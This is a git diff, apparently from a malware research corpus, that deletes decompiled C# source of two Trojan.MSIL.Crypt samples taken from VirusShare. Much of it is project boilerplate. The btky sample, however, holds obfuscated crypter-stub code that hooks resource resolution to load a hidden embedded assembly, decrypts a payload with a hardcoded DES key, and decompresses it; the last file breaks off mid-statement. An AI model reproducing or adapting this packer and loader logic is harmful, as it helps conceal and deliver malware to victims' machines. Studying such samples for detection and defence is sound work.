a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.My.Resources.Resources -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace WindowsApplication2.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) WindowsApplication2.My.Resources.Resources.resourceMan, (object) null)) - WindowsApplication2.My.Resources.Resources.resourceMan = new ResourceManager("WindowsApplication2.Resources", typeof (WindowsApplication2.My.Resources.Resources).Assembly); - return WindowsApplication2.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => WindowsApplication2.My.Resources.Resources.resourceCulture; - set => WindowsApplication2.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Resources.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Trojan.MSIL.Crypt.bnhq.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Trojan.MSIL.Crypt.bnhq.csproj deleted file mode 100644 index eb2a4430..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Trojan.MSIL.Crypt.bnhq.csproj +++ /dev/null @@ -1,54 +0,0 @@ - - - - - Debug - AnyCPU - {D5B7FB41-32D7-4A0B-8EEA-AB7EF8CFCD82} - WinExe - Stub - 1.0.0.0 - WindowsApplication2 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Trojan.MSIL.Crypt.bnhq.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Trojan.MSIL.Crypt.bnhq.sln deleted file mode 100644 index 60c8071f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/Trojan.MSIL.Crypt.bnhq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.csproj", "{D5B7FB41-32D7-4A0B-8EEA-AB7EF8CFCD82}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D5B7FB41-32D7-4A0B-8EEA-AB7EF8CFCD82}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D5B7FB41-32D7-4A0B-8EEA-AB7EF8CFCD82}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D5B7FB41-32D7-4A0B-8EEA-AB7EF8CFCD82}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D5B7FB41-32D7-4A0B-8EEA-AB7EF8CFCD82}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/wsup.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/wsup.cs deleted file mode 100644 index 8eb0bb36..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b/wsup.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication2.wsup -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe - -using System.Diagnostics; - -namespace WindowsApplication2 -{ - public class wsup - { - [DebuggerNonUserCode] - public wsup() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/AssemblyInfo.cs deleted file mode 100644 index 4afd43e7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/AssemblyInfo.cs +++ /dev/null @@ -1,17 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: Guid("36537493-e85c-4d7e-96bc-32c472e96b4c")] -[assembly: ComVisible(false)] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("")] -[assembly: SuppressIldasm] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyFileVersion("3.0.0.0")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("3.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index 7c715450..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/SmartAssembly/Attributes/PoweredByAttribute2.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/SmartAssembly/Attributes/PoweredByAttribute2.cs deleted file mode 100644 index da82767c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/SmartAssembly/Attributes/PoweredByAttribute2.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute2 -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute2 : Attribute - { - public PoweredByAttribute2(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Soraadd/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Soraadd/My/MySettings.cs deleted file mode 100644 index f9da3c56..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Soraadd/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Soraadd.My.MySettings -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0005; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Soraadd.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0002; - private static object \u0003 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0002) - { - object Expression = MySettings.\u0003; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0002) - { - \u0003.\u0003.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - }); - MySettings.\u0002 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Trojan.MSIL.Crypt.btky.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Trojan.MSIL.Crypt.btky.csproj deleted file mode 100644 index 6041f041..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Trojan.MSIL.Crypt.btky.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {EC5BCA48-0BDF-4E5D-87FB-C2FD5FBC8A5A} - WinExe - SoraAdd - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Trojan.MSIL.Crypt.btky.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Trojan.MSIL.Crypt.btky.sln deleted file mode 100644 index 1985e838..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/Trojan.MSIL.Crypt.btky.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SoraAdd", "Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.csproj", "{EC5BCA48-0BDF-4E5D-87FB-C2FD5FBC8A5A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {EC5BCA48-0BDF-4E5D-87FB-C2FD5FBC8A5A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {EC5BCA48-0BDF-4E5D-87FB-C2FD5FBC8A5A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {EC5BCA48-0BDF-4E5D-87FB-C2FD5FBC8A5A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {EC5BCA48-0BDF-4E5D-87FB-C2FD5FBC8A5A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0001.cs deleted file mode 100644 index 76a11f4f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal sealed class \u0001 - { - public static void \u0003() - { - try - { - \u0002.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0002.cs deleted file mode 100644 index b32e048d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0002 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0002 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0002.\u0001 == null) - { - lock (\u0002.\u0002) - { - \u0002.\u0001 = Assembly.Load("{3872a73d-48e1-4504-b393-a76428731afe}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u0002.\u0001 != null) - \u0002.\u0002 = \u0002.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0002.\u0002.Length; ++index) - { - if (\u0002.\u0002[index] == name) - return \u0002.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0003.cs deleted file mode 100644 index 5842e787..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0003.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0001; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0001 -{ - internal sealed class \u0003 - { - public static byte[] \u0003([In] byte[] obj0) - { - \u0003.\u0007 obj1 = new \u0003.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0004(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0003(); - int num3 = obj1.\u0003(); - int num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - int length = obj1.\u0004(); - int count1 = obj1.\u0003(); - int count2 = obj1.\u0003(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0003.\u0001 obj2 = new \u0003.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0003(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0004(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0004(); - num6 = obj1.\u0004(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0003.\u0001(buffer).\u0003(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 120, - (byte) 141, - (byte) 102, - (byte) 220, - (byte) 241, - (byte) 44, - (byte) 185, - (byte) 225 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 71, - (byte) 136, - (byte) 95, - (byte) 154, - (byte) 88, - (byte) 46, - (byte) 64, - (byte) 117 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0003.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private bool \u000F; - private \u0003.\u0002 \u0010; - private \u0003.\u0003 \u0011; - private \u0003.\u0005 \u0012; - private \u0003.\u0004 \u0013; - private \u0003.\u0004 \u0014; - - public \u0001([In] byte[] obj0) - { - this.\u0010 = new \u0003.\u0002(); - this.\u0011 = new \u0003.\u0003(); - this.\u0005 = 2; - this.\u0010.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0011.\u0003(); - while (num1 >= 258) - { - switch (this.\u0005) - { - case 7: - int num2; - while (((num2 = this.\u0013.\u0003(this.\u0010)) & -256) == 0) - { - this.\u0011.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0014 = (\u0003.\u0004) null; - this.\u0013 = (\u0003.\u0004) null; - this.\u0005 = 2; - return true; - } - this.\u0007 = \u0003.\u0001.\u0001[num2 - 257]; - this.\u0006 = \u0003.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0006 > 0) - { - this.\u0005 = 8; - int num3 = this.\u0010.\u0003(this.\u0006); - if (num3 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0007 += num3; - } - this.\u0005 = 9; - goto case 9; - case 9: - int index = this.\u0014.\u0003(this.\u0010); - if (index < 0) - return false; - this.\u0008 = \u0003.\u0001.\u0003[index]; - this.\u0006 = \u0003.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0006 > 0) - { - this.\u0005 = 10; - int num4 = this.\u0010.\u0003(this.\u0006); - if (num4 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0008 += num4; - } - this.\u0011.\u0003(this.\u0007, this.\u0008); - num1 -= this.\u0007; - this.\u0005 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0005) - { - case 2: - if (this.\u000F) - { - this.\u0005 = 12; - return false; - } - int num = this.\u0010.\u0003(3); - if (num < 0) - return false; - this.\u0010.\u0003(3); - if ((num & 1) != 0) - this.\u000F = true; - switch (num >> 1) - { - case 0: - this.\u0010.\u0003(); - this.\u0005 = 3; - break; - case 1: - this.\u0013 = \u0003.\u0004.\u0003; - this.\u0014 = \u0003.\u0004.\u0004; - this.\u0005 = 7; - break; - case 2: - this.\u0012 = new \u0003.\u0005(); - this.\u0005 = 6; - break; - } - return true; - case 3: - if ((this.\u000E = this.\u0010.\u0003(16)) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 4; - goto case 4; - case 4: - if (this.\u0010.\u0003(16) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 5; - goto case 5; - case 5: - this.\u000E -= this.\u0011.\u0003(this.\u0010, this.\u000E); - if (this.\u000E != 0) - return !this.\u0010.\u0003(); - this.\u0005 = 2; - return true; - case 6: - if (!this.\u0012.\u0003(this.\u0010)) - return false; - this.\u0013 = this.\u0012.\u0003(); - this.\u0014 = this.\u0012.\u0004(); - this.\u0005 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0005 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0011.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0011.\u0004() > 0 && this.\u0005 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0002; - private int \u0003; - private uint \u0004; - private int \u0005; - - public int \u0003([In] int obj0) - { - if (this.\u0005 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0002 == this.\u0003) - return -1; - this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005); - this.\u0005 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0004 >>= obj0; - this.\u0005 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0005; - - [SpecialName] - public int \u0004() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3); - - public void \u0003() - { - this.\u0004 >>= this.\u0005 & 7; - this.\u0005 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0002 == this.\u0003; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0005 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0004; - this.\u0004 >>= 8; - this.\u0005 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0003 - this.\u0002; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - if ((this.\u0002 - this.\u0003 & 1) != 0) - { - this.\u0004 = (uint) 